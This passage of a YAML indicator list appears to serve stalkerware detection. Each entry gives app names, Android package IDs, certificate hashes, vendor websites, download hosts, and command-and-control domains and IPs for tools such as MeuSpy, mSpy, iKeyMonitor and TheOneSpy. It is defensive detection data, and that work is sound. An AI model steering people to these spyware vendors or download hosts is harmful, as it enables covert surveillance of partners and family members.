my.kidsecured.com + - my.mspyonline.com + - my.phonsee.com + - my.securechildren.online + - pipe.thd.cc + - project-323448153542050953.firebaseio.com + - q12z.net + - repo.mspyonline.com + - rockalab.com + - s3.thd.cc + - sentry-01.thd.cc + - sentry-02.thd.cc + - sentry-03.thd.cc + - sentry-04.thd.cc + - sentry-05.thd.cc + - sentry-06.thd.cc + - sentry-07.thd.cc + - sentry-product-new.bbrp.co + - thd.cc + - tracking.mliteapp.com + - tracking.mspyonline.com + - update-service-7e59f.firebaseio.com + - webrtc.thd.cc + - www.mspy.com + - www.mspyonline.com + +- name: MeuSpy + names: + - MeuSpy + type: stalkerware + packages: + - com.app.com.app.com.app.aplintal + - com.app.insapp2 + - com.meuspy + - br.com.cloud.aplicativo + - br.com.cloud.backup + - br.com.daggers.gameap + - br.com.daggers.toshtec + - br.com.phonecell.cloud1 + - br.com.phonecell.go5ge + - br.com.phonecell.maps + - br.com.phonecell.radio + - br.com.phonecell.services + - br.com.sistema.aplicativo + - br.com.monsthers.gameap + - in.servidor.service + - br.com.galaxys.gameap + - br.com.gamelevel.playstart + - br.com.gamelevel.cloudv3 + - com.tutorial.instalao + - com.aisistem.instalao + - br.com.appfornecedor.legal + certificates: + - 77E86A5C583256B5A52A5AEEB70542CD1BE34A99 + - 3E929DB5941C185EA4FAC2B0D7BA7589D40A379E + - B8CA103D22C39282D7A1E8028D93333E481CCA83 + - 018D06B4A5679892572CB9DA44BA1A8C1E3B68A5 + - B0A100360B029E0B2105F60E2C8EEB9053998A7E + - E0E02AD30F042E096A7A5654217B846EA08C02D1 + - 493812991A9A1CC7BEEFD45F2180CD2FC0AF8913 + - 35B05ACC96D02849E20D9ED3BA9CEA41C2B83FFA + - 6C0B8CF7F47DB7A82A2C06D410690935FDD912DF + - 18C94FAB82F77F89546600F84D2D2B48A0C0B927 + - 0AF3219D3A9525CB4A618215DB7A29CBFD9FFE78 + - 6B1DC3EAE0E8C59E7769A6E0A1BAA1938620A191 + - 8508603AE680C3BCDE91E6F909BF400F6DC878B4 + - DD34B4E5125F07BA50738192FBE7B745785FC15A + - AF113D18054A6B8DE74644BCE3F0AE41206B16AC + - A7E75010B3709D54D52CCE914AF06946744F5F67 + - 53486B8F8790D1848E0842F37B5C6DFA15CD3EBB + - 114C4DC0F254EFD81F0AC7F41DBE882FFDB2E127 + - 50CADBA5487E7C00D67C8FF0D3A952D7B62BEE9A + - B9F546776987F0F2FF893325D2CCDF7F62F0D56E + distribution: + - servidor.in + websites: + - meuspy.com + - monitorecell.com.br + - espiao.meuspy.com + - www.espiaodecelulargratis.com.br + - espiaodecelulargratis.com.br + c2: + domains: + - servidor.in + - n.servidor.in + - l.servidor.in + - s.servidor.in + - play-store-3bb64.firebaseio.com + +- name: AppSpy + names: + - AppSpy + - MobileFindFree + - FreeSpy + type: stalkerware + packages: + - com.atracker.app + - com.agpstracker.app + - com.aphonetracker.app + - com.afreesmstracker.app + - com.mobilefindfree + certificates: + - 07525D7D2E83CE865F98E1B9C0F6095B1C29D48A + - 0AD33649F0D0532B5EB0A36A81712962AA79BF54 + - 492FF617A79F6C8D80B453815CFE6586E21C5F72 + - 9E09874197988F20DB51EB6A34BFD908AC42C35B + - D98C69B50C1092FE21F7CF748DC8B2F91BE56B64 + - FB926CF2937331BB8A46E2C5280233C04DA2342E + websites: + - app.appspy.net + - app.appspyfree.com + - app.freephonespy.net + - app.mobilespyfree.net + - appspy.com + - appspy.net + - appspyfree.com + - apptracker.net + - cellphonespyappon.com + - free-spy.com + - free.apptracker.net + - freemobilespy.net + - freephonespy.net + - justseries.net + - mobilespyfree.net + - spyren.com + - trackerfree.net + - www.appspy.com + - www.appspy.net + - www.apptracker.net + - www.cellphonespyappon.com + - www.freemobilespy.net + - www.freephonespy.net + - www.mobilespyfree.net + - www.spyren.com + - www.trackerfree.net + - www.xvids.us + - xvids.us + c2: + ips: + - 167.114.114.207 + domains: + - api.free-spy.com + - app.appspy.net + - appspy-net.firebaseio.com + - appspy.net + - freemobilespy.net + +- name: MobileTrackerFree + names: + - MobileTrackerFree + - MonitorLoverman + - MTrack + - CellTracker + - TrackMobil + type: stalkerware + packages: + - a.tck.lvmchi + - com.androdid.inteernet.aa21111227 + - com.jyotin.ct + - com.lrvciyti.unrxnfig + - com.m.service.control + - com.mob.service.control + - com.mobile.gps + - com.mobile.loc + - com.mobiletracker + - com.mobiletrackerfree.secondapp + - com.mobiletrackerfree.www + - com.mtf.d + - com.netowrk.service + - com.services.phone + - g.google.llc + - m.mob.control + - m.mob.service2020 + - m.phone.control2020 + - m.protect.children + - m.protect.parental + - m.secu.children + - m.security.parental + - mob.protect.children + - mob.service.parental2020 + - mobile.controlparental2020 + - mobile.monitor.child2021 + - mobile.monitor.child2022 + - mobile.monitor.child2023 + - mobile.monitor.child2034 + - mobile.parental2021 + - mobile.protect.children + - mobile.protect.children2020 + - security.mobile.parental + - service.download.app + - tracker.mob.gps + - yogaworkouts.dailyyoga.yogafitness + - com.get.mtf + - com.mtf.download + - com.protect.download + certificates: + - 021A3F097EDA780798DF5ECB16EF338C08236847 + - 0568E0400308CBFC58E11A324EA233F5B2E923BF + - 09DCBFDB7C7262F143089C5493435AB07564FD67 + - 0FB6108D34289681BA0181ED9A4350514EB07665 + - 1128939E0D8B8BAEAB14C41AEBFAA100C319AD8F + - 16254E7CBDFEC82B6CCE599DFCE6A6E84CF25504 + - 29FFFE437675D2B55512953759C40776E547592D + - 2F033070A8CD93CEAC60F9E203BA33C9A9A3D226 + - 35CD797D1736484786152A231920575FABC5C12A + - 377223C40330F7925BB238E3A2AC6E1BE1A05749 + - 3935E474CD6EDACB19F24192809B337D376656F6 + - 457D2470CA3E635178D224C14C0D743B7C7F9F80 + - 57178BA7BE0677C3143C24362FD35A9CF0E311A8 + - 575A730BC2411897A318DEB23B3C3CC4F63422F5 + - 5F43A60BFC663FB37F419A40015495431649310B + - 6000C3F6A35C81C0AE6ACA73DBF7B7D19DCDB7BC + - 6F1CE95315749AC6F377B310C0B831CF05B04C68 + - 845705FB0FE177970768CE3F5241AEBD99F3BEEE + - 85F12B25CEB58B8376F83209D8D128841132DC51 + - 8A718113C6EDE9473FE4BF1F29E2E807B7EB7B56 + - 8A92A4F6F9FC52BC8788F17704944614C744716C + - 8B9540311C46184984B48BF9CB51F1742A8AFB42 + - 8CED75E875A2F11B3327A73A6DBD0B25E26533F2 + - 9225C8FD380154467908AE344FBE75CE7EF996B8 + - 927CA44949D7788AA86F9D7F04D7FDACECD1DFB9 + - 9442F1D40FBAAD7053D130986C4487D0BA5C079F + - A75B340A58545B28B7E837582259C1CC2CE21512 + - B0B09157DC34E3D20DF6A92EBA0014D36A27C451 + - B7322B2126B2C4F4DED940D719FE1E63FD233D35 + - B8D8C25B1CFE2829D397C8FB166895A6791A43D5 + - C656605BDB536B842319AC008FBB249D8B0A7422 + - CB6E6DEB296275EDF70DC71A62A75AB7B9C8DB89 + - CD5724426B602C1CD0BF3BD65EF75B9021C0EC3A + - CE3BB9701274C15D26A92C1D7D34110961EB73F1 + - D244AA1DD3D4296CE875EDA2E1B0332459F7DACE + - D943998AEC15B3D70DA3BF00FF7BF580A41F6E4B + - DDCF7F1032E7D9DA4E3D245A5145363F69F9C393 + - E8395BE2A32B62C1BA21E37663E3BF1583E00FAA + - FB2EEA183C183B486B3001EC5FC4E8C906593356 + - 09273A6004A46078991F3FBA2A4868DA26DBB508 + - 2A84B79A7E17E1F49642E8D5EA9828CFEA763E8C + - A4817668612688754B4905C44AB9F70C58C25CB2 + - 1CE722F401C3FA8FE498FF824669C0007A200AA9 + distribution: + - download.mobile-tracker-free.me + websites: + - br.mobile-tracker-free.com + - br.loverman.net + - celltracker.io + - loverman.net + - mobile-tracker-family.com + - mobile-tracker-free.be + - mobile-tracker-free.biz + - mobile-tracker-free.co + - mobile-tracker-free.com + - mobile-tracker-free.de + - mobile-tracker-free.es + - mobile-tracker-free.eu + - mobile-tracker-free.fr + - mobile-tracker-free.info + - mobile-tracker-free.ir + - mobile-tracker-free.it + - mobile-tracker-free.me + - mobile-tracker-free.mobi + - mobile-tracker-free.name + - mobile-tracker-free.net + - mobile-tracker-free.org + - support.mobile-tracker-free.com + - support.loverman.net + - mobile-tracker.mobi + - mobitrackapps.com + c2: + ips: + - 51.15.183.209 + domains: + - api1.easydoc.info + - api3.easydoc.info + - apk.mtf.re + - celltrackernew.firebaseio.com + - d-app-apk.com + - d.d-app-apk.com + - easydoc.info + - loverman.net + - mobile-tracker-data.com + - mtf.re + - myappmobile-537f7.firebaseio.com + - n6sm2m.celltracker.io + - olurdaolurdediler.shop + - sapient-flight-837.firebaseio.com + - mobile-tracker-free.com + +- name: iKeyMonitor + names: + - iKeyMonitor + type: stalkerware + packages: + - com.android.internet.a20200817 + - com.android.internet.a20210916 + - com.android.internet.a20220729 + - com.android.internet.a20220829 + - com.android.internet.a20220914 + - com.sec.android.internet.im.service.im20190118 + - com.sec.android.internet.im.service.im20190419 + - com.sec.android.internet.im.service.im20210815 + certificates: + - C1D83F5FFE3EC319FF103EC7346CDDF218B5634D + - 4DAD108F915E237CA2834FAC70C077AD8105E804 + - B8F5FDFAE5920C4CFB6ACE214D39327F299FA76D + - 9284CB43B87E9F9C77DA509F1672E884BD6CA876 + - 786325AB3E614F868CA2A7F2F0E75EC76A047311 + - F747F0BBEF33FFEE6AFC4E7CFA03B28215985F24 + - 0C422F0025F866C311DF61A7549FCD519683898D + - 98ED5841256A44FB1525FE154C0516ACED82FFF3 + - ACB2CA50376456FD81B5C6C19CF6D717CFBB888B + websites: + - easemon.com + c2: + ips: + - 172.67.82.183 + - 104.25.170.109 + - 104.25.169.109 + - 104.26.15.56 + - 172.67.73.2 + - 104.26.14.56 + - 172.67.194.85 + - 104.18.54.129 + - 104.18.55.129 + domains: + - 83dd4.appspot.com + - awsapi.io + - em.awsapi.io + - ikm.awsapi.io + - emcpanel.com + - users.easemon.com + - ikeymonitor.com + - ikeymonitor.fr + - users.awosoft.com + +- name: PanSpy + names: + - PanSpy + - SurveilStar + type: stalkerware + packages: + - com.panspy.android + certificates: + - CCD5678FF73D6ECF4E74317166422AFE67D77406 + websites: + - panspy.com + - surveilstar.com + distribution: + - panspy.me + c2: + domains: + - panspy.me + - panspy.com + - ali.panspy.com + - c1.panspy.com + - d1.panspy.com + - s1.panspy.com + - u1.panspy.com + - panspy-1.oss-us-west-1.aliyuncs.com + +- name: AndroidLost + names: + - AndroidLost + type: stalkerware + packages: + - com.androidlost + - com.androidlost.smshandler + certificates: + - 9EECE9B4ECF4DC0C5981FEACFB271E1C0A2967FF + websites: + - androidlost.com + - www.androidlost.com + c2: + domains: + - androidlost.appspot.com + - androidlost.firebaseio.com + - androidlost.com + - www.androidlost.com + - test.androidlost.com + - new.androidlost.com + +- name: Metasploit + names: + - Metasploit + - ForeverSpy + type: stalkerware + packages: + - com.metasploit.stage + websites: + - foreverspy.com + c2: + domains: + - foreverspy.com + - app.foreverspy.com + +- name: Spy24 + names: + - Spy24 + type: stalkerware + packages: + - net.spy24.wifi + - com.example.openanotherapp + - ir.spy24.updater + - ir.spy24.wifi + - app.spy24.systemwifi + - app.spy24.spy24installer + certificates: + - 79C395148C34F0826E04B37A6632A53A7977A1AA + - F5C25A3B800311E8053295676ADB112753E03F0B + websites: + - spy24.net + - spy24.app + c2: + ips: + - 138.201.32.118 + domains: + - spy24.net + - panel.spy24.net + - panel24.org + - android.spy24.app + +- name: CatWatchful + names: + - CatWatchful + type: stalkerware + packages: + - wosc.cwf + - wosc.cwf2 + - com.example.wosc.androidclient + certificates: + - 5037E917539B4F31E0B92EBB7A9089C5DC567518 + - 68E4A16FD2B8D41E817CC5A06BA95B9CED9BD9F9 + - 757DB1C635344324B665BAF056DC3E4B1D0CC39B + - 783B1880ECDC5E75620A4C484E3BDBE08D6D4397 + - 8E352F2EE18054DF97C238915C0375AA13305DEC + - 92DF71DB15BEEAB77DF36FD879A89E5E0DEF4617 + - 93135ABA6FF4B6CFE9B06153B9BDF769AEBC1D87 + - 9FE876AF76CDCB685102A38528A3A732B0872DC6 + - B927DACA3BB3876523E2E8B1BDB56CE84B0DFFF7 + - F18B3369F152EC3C74EC884BE977B3CA0E0C996D + - 523C42BF2F6CBAFC78BE41043E8E3E3BB311CBA2 + - 77032E80CC0ECEE49B8F2F58F9999330026E0DB3 + - 7688EA09EE353ED077E0A90D401881B63F115A3F + websites: + - catwatchful.com + - catwatchful.online + - catwatchful.pink + - catwatchful-e03b8.appspot.com + c2: + ips: + - 45.114.224.147 + - 162.144.75.253 + domains: + - catwatchful.com + - catwatchful-e03b8.firebaseio.com + - catwatchful-e03b8-2.firebaseio.com + - us-central1-catwatchful-e03b8.cloudfunctions.net + +- name: HighsterMobile + names: + - AutoForward + - DDI + - DDIUtilities + - EasySpy + - Highster + - HighsterMobile + - HighsterSpy + - PhoneSpector + - SafeGuarde + - SurePoint + - TurboSpy + type: stalkerware + packages: + - org.secure.smsgps + - com.autoforward.monitor + - com.phonespector.app + - com.ddiutilities.monitor + certificates: + - 683722A1C629AD5734B93E08ADFAA61775AD196F + - 48A2190050B80F31E1E3CCFAF9909FAD238D9849 + websites: + - auto-forward.com + - autoforward.app + - autoforward.co + - bestcellphonespyapps.com + - buyeasyspy.com + - cellphoneservices.info + - ddiutilities.com + - dev.safeguarde.com + - digitalsecurityworld.com + - evt17.com + - highstermobile.co + - highstermobile.com + - ilfmobileapps.com + - m.surepointspy.com + - phonespector.com + - safeguarde.com + - surepointspy.com + - thepowerlinegroup.com + - turbophonepsy.com + - www.surepointspy.com + c2: + domains: + - a71f4.firebaseio.com + - ac480.firebaseio.com + - auto-forward.com + - autoforward-8433d.firebaseio.com + - backup-a71f4.firebaseio.com + - cellphoneservices.info + - ddiutilities.com + - device-ac480.appspot.com + - device-ac480.firebaseio.com + - evt17.com + - ngc77.com + - phonespector-b2f13.firebaseio.com + - phonespector.com + +- name: iMonitorSpy + names: + - iMonitorSpy + type: stalkerware + packages: + - com.imonitor.ainfo + - inc.imonitor + certificates: + - 3EA68714AE224B0C0EEED64A14B11D3983C3D6F8 + - BFC4C15E35E3506095B42E2B428E4016B1FFA1AB + - 5C5EF3DFE98B02251A6EC82609F22A092562AFEE + websites: + - www.imonitorsoft.cn + - www.imonitorsoft.com + - imonitorsoft.cn + c2: + domains: + - imonitor-da8b2.firebaseio.com + - imonitorke.com + - www.imonitorsoft.cn + - www.imonitorsoft.com + - imonitorsoft.cn + - imonitorsoft.com + +- name: MobileTool + names: + - MobileTool + - MobTool + - Jopsik + type: stalkerware + packages: + - org.poleward.burghs.hydrotherapy.homonymously + - org.urates.amirates.suffocate.chiliast + - org.connecting.updived.hygeist.interplays + certificates: + - 3E9B3E5190F64BA9A952B7F57942AA21FFDA50BA + - 7F11358AC560C5E90B735A21B907F1C8143353DF + websites: + - mobiletool.ru + - www.mobiletool.ru + - mtoolapp.net + - www.mtoolapp.net + - mtoolapp.biz + c2: + domains: + - 6kvses.com + - bincdi.6kvses.com + - bincdi.birxpk.com + - birxpk.com + - dz7.wethnc067.xyz + - hzdy.birxpk.com + - ixhtb.s9gxw8.com + - kvshdi.birxpk.com + - mobiletool.ru + - mrswd.wo87sf.com + - mtoolapp.net + - mtoolapp.biz + - my.mobiletool.ru + - my.mtoolapp.net + - mzpgfh.uhabq9.com + - noujx.s9gxw8.com + - s9gxw8.com + - support.mtoolapp.biz + - ug1c5v.birxpk.com + - wethnc067.xyz + - www.mtoolapp.net + - xmyevq.birxpk.com + +- name: ShadowSpy + names: + - ShadowSpy + type: stalkerware + packages: + - com.runaki.synclogs + - com.client.requestlogs + - com.shadow.client.android + certificates: + - FE7626A8D3C38FD78EA2A729B39B943BA814F014 + - 01E49C220A9776D4978C1D28D6C32F86D145B8AE + - AD231A7CD57E2CEF8162F4D341C3573DE2B8F443 + websites: + - shadow-logs.com + - shadow-spy.com + - www.shadow-logs.com + - www.shadow-spy.com + distribution: + - downloads.shadow-spy.com + c2: + domains: + - runaki-support.appspot.com + - shadow-logs.com + - shadow-spy.com + - shadowappbundle-default-rtdb.firebaseio.com + - shadowlogspanel.firebaseio.com + - www.shadow-logs.com + +- name: SpyHuman + names: + - SpyHuman + type: stalkerware + packages: + - com.cldprotect + - m.mobile.control + - com.saxfamqvxj + - com.safesecureservice + - com.myappspqwddeexo + - com.yurpdpvxnybmlgh + - com.spyhumanrev + certificates: + - 76F6C302533751BED738D40882AC219BAAD65E7B + - F9265164219A1C5DEE4A76D66BEA0C35A1FD6032 + - 597C0169D8C27DE7C6B62C2C252F9ECAC0E562C4 + - E2AC495C52B9FBD49B83CFAE0C167878A2F796A5 + - E169250B134E5C46C3064F166E457CDBFCC16524 + - C270531A6D75EB4EA2AA0F4D6DF2980AFB494CB3 + websites: + - spyhuman.com + - services.spyhuman.com + c2: + ips: + - 213.239.228.196 + domains: + - apispyhuman.com + - aps22.spyhuman.com + - aps12.spyhuman.com + - aps13.spyhuman.com + - aps14.spyhuman.com + - aps15.spyhuman.com + - aps16.spyhuman.com + - aps17.spyhuman.com + - aps16042016.spyhuman.com + - aps18data.securebackuponline.net + - aps18file.securebackuponline.net + - aps2.spyhuman.com + - nodejs.spyhuman.com + - securebackuponline.net + - sp18022019.firebaseio.com + - spyhuman-97943.firebaseio.com + - spyhuman.com + +- name: uMobix + names: + - uMobix + type: stalkerware + packages: + - com.tuner.funnelwebview + - com.system.user + - com.play.services + certificates: + - 575F8E8A04A5967E78BC5B5A3E31FDACF42F4FB1 + - 6696449AA96EBA57CDF4707F0F84274958BE4523 + - F4E6DA34F0071AEB70010EBB69875E5212D69140 + websites: + - umobix.com + - n.umobix.com + - tt.umobix.com + - spyfer.info + - surveillance-enfants.com + c2: + domains: + - android-api.umobix.com + - us.umobix.com + +- name: Spymie + names: + - Spymie + type: stalkerware + packages: + - com.ant.spymie.keylogger + certificates: + - 05B23C7E9156A4C55768DA27936FF2D7AF09BB8F + +- name: TheOneSpy + names: + - TheOneSpy + - OgyMogy + type: stalkerware + certificates: + - D46492F02F25877E9F5D6CFFA4CE99DAC64D981A + - 9DE8D6C6757152EC819C1A09F5665B77F72493A2 + - B6D2D36C75931CCA18538B79C5DE3A04EF4AF777 + packages: + - com.android.services + - com.android.omg + distribution: + - app.ogymogy.com + - tos-assigned-build.sfo2.digitaloceanspaces.com + websites: + - theonespy.com + - ogymogy.com + - www.theonespy.com + c2: + ips: + - 85.13.218.229 + - 85.13.206.195 + domains: + - api.ogymogy.com + - lb.theonespy.com + - im.theonespy.com + - node-api.theonespy.com + - node1.theonespy.com + - node2.theonespy.com + - node3.theonespy.com + - node4.theonespy.com + - node5.theonespy.com + - ogymoggy.firebaseio.com + +- name: ClevGuard + names: + - ClevGuard + - KidsGuard + type: stalkerware + packages: + - com.kids.pro + - com.kids.whatsapp + certificates: + - CCE55D4C3E844E8A7542036D40BFBB4AA98B89D7 + - E48C6714DBFD2AB6E5CF85C87EFD05BD8E11E6FB + websites: + - clevguard.net + - www.clevguard.com + - clevguard.com + - panel.clevguard.com + c2: + ips: + - 47.88.63.70 + domains: + - api.clevguard.com + - kidsguard-6c6a9.firebaseio.com + - clevguard.net + +- name: EasyPhoneTrack + names: + - EasyPhoneTrack + - Ppapp + type: stalkerware + packages: + - com.spappm_mondow.alarm + - com.monspap.alarm + - com.snapchat.trmonap + - com.snapch.monabcab + certificates: + - 4A3742E0C96AFB91954D613AAA637076750E5A0B + - FC5A4AD10F0686AA8EAE2C08BA13CC451CBD6037 + - 892C4F172AD3262EC398B40BBF8130C6421040A1 + websites: + - spappmonitoring.com + - www.spappmonitoring.com + - mobil-kem.com + - easyphonetrack.com + c2: + ips: + - 50.28.38.175 + domains: + - cell-phones-tracker.net + - celltracker.mobi + - easyphonetrack.com + - phonetrack.com + - spy-datacenter.com + - studio11-7e288.firebaseio.com + - trackmy.mobi + - www.spy-datacenter.com + +- name: bark + names: + - bark + type: stalkerware + packages: + - com.pt.bark + certificates: + - 473F919A69BBAD3457AF2F0E3AFC34E513F103F1 + websites: + - bark.us + - www.bark.us + c2: + domains: + - bark-android-media.s3.amazonaws.com + - www.bark.us + +- name: SpyLive360 + names: + - SpyLive360 + type: stalkerware + packages: + - com.sl360 + - com.itqredn8dzrl + - com.wifi0 + - com.w0f0 + - com.w1f1 + certificates: + - 73BF44A503427F7682C7136B109631E3BE4114DE + - 630BB83172B184A6571126229E2B2DCA2EB4123F + websites: + - spylive360.com + - www.spylive360.com + c2: + domains: + - s1.spylive360.com + - s2.spylive360.com + - s3.spylive360.com + - spylive360.com + - sl360-7ba65.firebaseio.com + +- name: XNSpy + names: + - XNSpy + - ZTI + - SpyXiz4 + - SpyXiz4Me + - TrackMyPhone + type: stalkerware + packages: + - com.system.task + - com.map.system + - com.xnspy.dashboard + certificates: + - C276C3B087207C9D3CEEDA766C01E0BDEF7EAC71 + websites: + - xnspy.com + - cp.xnspy.com + c2: + domains: + - xnspy.com + - sync.xiz4me.com + - alert.xiz4me.com + - www.mydwnd.com + - mydwnd.com + - brilliant-flame-585.firebaseio.com + - true-truck-86810.firebaseio.com + - sync.bk128.com + - asset.bk128.com + - alert.bk128.com + - bk128.com + - wppspy.tech + +- name: MobiSpy + names: + - MobiSpy + type: stalkerware + packages: + - com.psac.a.processservice + certificates: + - B5075AB201EE483C8ECADE1BC4FC711293D6932B + websites: + - mobispy.net + c2: + domains: + - my.mobispy.net + +- name: NeoSpy + names: + - NeoSpy + type: stalkerware + packages: + - ns.antapp.module + - com.nsmon.guard + certificates: + - 9ED8DD944D3EB545E1EEEEEC1D8174772CF37C07 + websites: + - neospy.pro + - neospy.net + - neospy.tech + - ru.neospy.net + c2: + domains: + - i6.clientreport.info + - i7.clientreport.info + - i8.clientreport.info + - i9.clientreport.info + - i10.clientreport.info + - i11.clientreport.info + - i12.clientreport.info + - i13.clientreport.info + - clientreport.info + +- name: AllTracker + names: + - AllTracker + - Russcity + type: stalkerware + packages: + - city.russ.alltrackercorp + - city.russ.alltrackerfamily + - city.russ.alltrackerinstaller + - org.alltracker.security + certificates: + - 219D2D7FEC2B2DA6E25693A75FC15D2C6F4F6E67 + - 43D45CE7BEE36E449434C14973B7D285209414C7 + - 6C4E74FD002AEC131F8D05852566055C349E0A54 + - B6A744B0E8AE049AC0C20402EBC137B1192699A9 + - F1912CEE4B5D6C1EA4070B53B440E2F660FFCBBD + - F7871F09D6E58B9BEA5913FB2FA879E5427725E3 + - 6EF8C27EBCF808FFA377A391DB9892B997AF16C9 + websites: + - alltracker.org + c2: + domains: + - 4-dot-all-tracker.appspot.com + - 6-dot-all-tracker.appspot.com + - all-tracker.appspot.com + - all-tracker.firebaseio.com + - alltracker.org + - staging-all-tracker.appspot.com + +- name: SpyPhoneApp + names: + - SpyPhoneApp + type: stalkerware + packages: + - com.spappm_mondow.alarm + - com.spapptrakapp.alarm + - com.spatrakappp.alarm + certificates: + - 8C017FDB2A81807EC879A8E30F4AB05D5CA02034 + - 9477420001BC79500623374EC586B054AAC97BF9 + - 26AF8554EE338D6969FAC51BF4DAC3186098056E + c2: + domains: + - www.spy-phone-app.com + - www.spappmonitoring.com + - mobil-kem.com + - www.app-spy.com + +- name: AndroidMonitor + names: + - AndroidMonitor + - UltimatePhoneSpy + type: stalkerware + packages: + - com.ibm.fb + certificates: + - 92EBDB7D7C18A34705A6918B5F327DDB0E8C8452 + - 558765849658A3821FE4054ED2C1FF6E28B4B8A0 + websites: + - androidmonitor.com + - demo.ultimatephonespy.com + - ultimatephonespy.com + - www.androidmonitor.com + - my.androidmonitor.com + distribution: + - installam.com + c2: + ips: + - 178.33.203.110 + domains: + - server.androidmonitor.com + +- name: TalkLog + names: + - TalkLog + type: stalkerware + packages: + - tech.logsettings + - t.tools.app + - technic.settings + certificates: + - 08ACB92D02487EBC0CEA42B672A631BA7EA59ADF + - AF821DD021558AEDF49730D2892063BD502DEA14 + websites: + - talklog.tools + c2: + ips: + - 78.46.34.14 + domains: + - talklog.tools + - tchsrvce.com + +- name: SpyMasterPro + names: + - SpyMasterPro + type: stalkerware + packages: + - iqual.calculadora.pro + - com.semantic.childcontrol + certificates: + - 8AD595A53B76014B7B919ED231DB372096D358E7 + - C8BAE63357CA1DCD9B084BCC99399C96A5B67D49 + - 9B07A93BC509C0AE614AEAFFCD6B56797CD02166 + websites: + - spymasterpro.com + - www.spymasterpro.com + c2: + ips: + - 91.121.70.22 + domains: + - cpcalendars.spymasterpro.com + - cpcontacts.spymasterpro.com + - imobispy.com + - senseye.spymasterpro.com + - spymaster-e535b.firebaseio.com + +- name: FreeAndroidSpy + names: + - FreeAndroidSpy + type: stalkerware + packages: + - com.hp.vd + - com.hp.vc + certificates: + - E0103BF20E95E826920A3F0F7B3BD03A899127D7 + websites: + - freeandroidspy.com + c2: + ips: + - 46.40.125.240 + - 199.38.181.70 + - 217.182.176.52 + domains: + - server.freeandroidspy.com + - spysetup.com + +- name: NetSpy + names: + - NetSpy + type: stalkerware + packages: + - com.googleplay.settings + certificates: + - A4E169AAF0068A1FC5F7900B7F59A438B833364C + websites: + - www.netspy.net + - netspy.net + c2: + domains: + - netspy-7b8ec.firebaseio.com + +- name: Spyier + names: + - Spyier + type: stalkerware + packages: + - com.sc.spyier.v2 + websites: + - spyier.com + c2: + domains: + - i.spyier.com + - v4vw4ytvo4.execute-api.us-east-2.amazonaws.com + +- name: CouplerTracker + names: + - CouplerTracker + type: stalkerware + packages: + - com.bettertomorrowapps.spyyourlovefree + - com.bytepioneers.coupletracker + certificates: + - 18CD402CC43DF0BC03E9951B0F843DC4B1552DC6 + - BC53CC2A9996DE47BF72348F2A592DC0EBDAF06B + websites: + - coupletracker.com + c2: + domains: + - api.bytepioner.com + +- name: GPSTrackerLoki + names: + - GPSTrackerLoki + type: stalkerware + packages: + - com.mobile.loki + - com.mobile.asgard + certificates: + - 6156DB551938BB4560D4643B54527E4F169ED44F + websites: + - asgardtech.ru + c2: + domains: + - asgard-f8c53.firebaseio.com + - m.asgardtech.ru + +- name: SpyApp247 + names: + - SpyApp247 + type: stalkerware + packages: + - com.spyapp247.system + +- name: SpyMug + names: + - SpyMug + type: stalkerware + packages: + - com.service.mug + certificates: + - 56C8FA19250EDBA1A91A37F500DA91FBC0657B1F + +- name: WtSpy + names: + - WtSpy + type: stalkerware + packages: + - com.wwtspy + - com.wtspy.apps + certificates: + - BB5E2C0E8DFDC54730C1E9B48754977E7DBCCCF9 + websites: + - wt-spy.com + +- name: Xnore + names: + - Xnore + type: stalkerware + packages: + - com.xno.systemservice + certificates: + - 9BCE25527FF174A4AD6CDE233B17038641A5EEF9 + websites: + - xnore.com + c2: + ips: + - 162.144.212.52 + domains: + - spyapp.top + - xnore.com + +- name: EspiaoAndroid + names: + - EspiaoAndroid + - FoxSpy + type: stalkerware + packages: + - com.kfhdha.fkjfgjdi + certificates: + - 60DA6A5B04C0100DFCE1213C850EFBDEB0D1E8D7 + websites: + - foxspy.com.br + c2: + domains: + - aovivo.foxspy.com.br + - api007.foxspy.com.br + - pc.foxspy.com.br + - celular007.s3.amazonaws.com + - remoto.foxspy.com.br + +- name: pcTattletale + names: + - pcTattletale + type: stalkerware + packages: + - com.avi.scbase + certificates: + - 20F092BEC76C406223A7943371A1DBBB5BF66C13 + - 934A3C0DC8912C4F2F8620F666FC7621BD7B97B8 + websites: + - www.pctattletale.com + c2: + ips: + - 67.227.193.142 + domains: + - pctattletalev2.s3.amazonaws.com + - pctattletale.com + - truewebmedia.com + +- name: SpyEra + names: + - SpyEra + type: stalkerware + packages: + - com.wSpyEra + certificates: + - 813A3AD37D87AA36120DFEC64146C311DB5F4CA9 + websites: + - spyera.com + - login.spylogs.com + - support.spyera.com + - affiliate.spyera.com + c2: + domains: + - spylogs.com + - spyera.postaffiliatepro.com + +- name: AntiFurtoDroid + names: + - AntiFurtoDroid + type: stalkerware + packages: + - br.com.maceda.android.antifurtow + certificates: + - CE94B8512390676F62F3EC61BECEDDDE9AB5519F + websites: + - antifurtodroid.com + c2: + domains: + - app.antifurtodroid.com + +- name: CallSMSTracker + names: + - CallSMSTracker + - Quizmo + - Multiverze + - HiddenSMSTracker + type: stalkerware + packages: + - com.gcm_call_sms_tracker.updated + - com.gizmoquip.smstracker + certificates: + - 0C01AEB7346C700D02613EBA513BD40E87A182F8 + - 8F576BEEB71EA74E5F27764917BFF5B508017B68 + websites: + - callsmstracker.com + - hiddensmstracker.com + - hiddensystemhealth.com + - registrations.smstracker.com + - smstracker.com + - smstrackerweb.com + - www.hiddensmstracker.com + - www.hiddensystemhealth.com + - www.smstrackerweb.com + c2: + ips: + - 45.40.135.228 + domains: + - beta.smstracker.com + - messages01.smstracker.com + - messages02.smstracker.com + - staging.smstracker.com + +- name: AiSpyer + names: + - AiSpyer + type: stalkerware + packages: + - com.aif.tracksp + certificates: + - F038CD90AFEA9C037A801FFAE67DF55A870879C4 + - BCA2BCB87F6E28FB403CED643311B135CA0DC0A2 + websites: + - aivideoedit.com + - aispyer.com + - www.aispyer.com + c2: + domains: + - ioi.life + - api.corn-cob.com + - corn-cob.com + - d.corn-cob.com + - tracksp.in + - my.aispyer.com + - tracksp-7743c.firebaseio.com + - www.ioi.life + +- name: SpyToApp + names: + - SpyToApp + type: stalkerware + packages: + - com.spytoapp.system + certificates: + - 6F93929AB60AC760000E873CD7C56BA79A9E6CAD + websites: + - spytoapp.com + c2: + domains: + - android.spytoapp.com + - apk01.spytoapp.com + - apk02.spytoapp.com + - apk03.spytoapp.com + - apk04.spytoapp.com + - downapk.spytoapp.com + - services.spytoapp.com + +- name: BlurSpy + names: + - BlurSpy + - XOXOSpy + type: stalkerware + packages: + - com.saloomughal.spyapp + certificates: + - 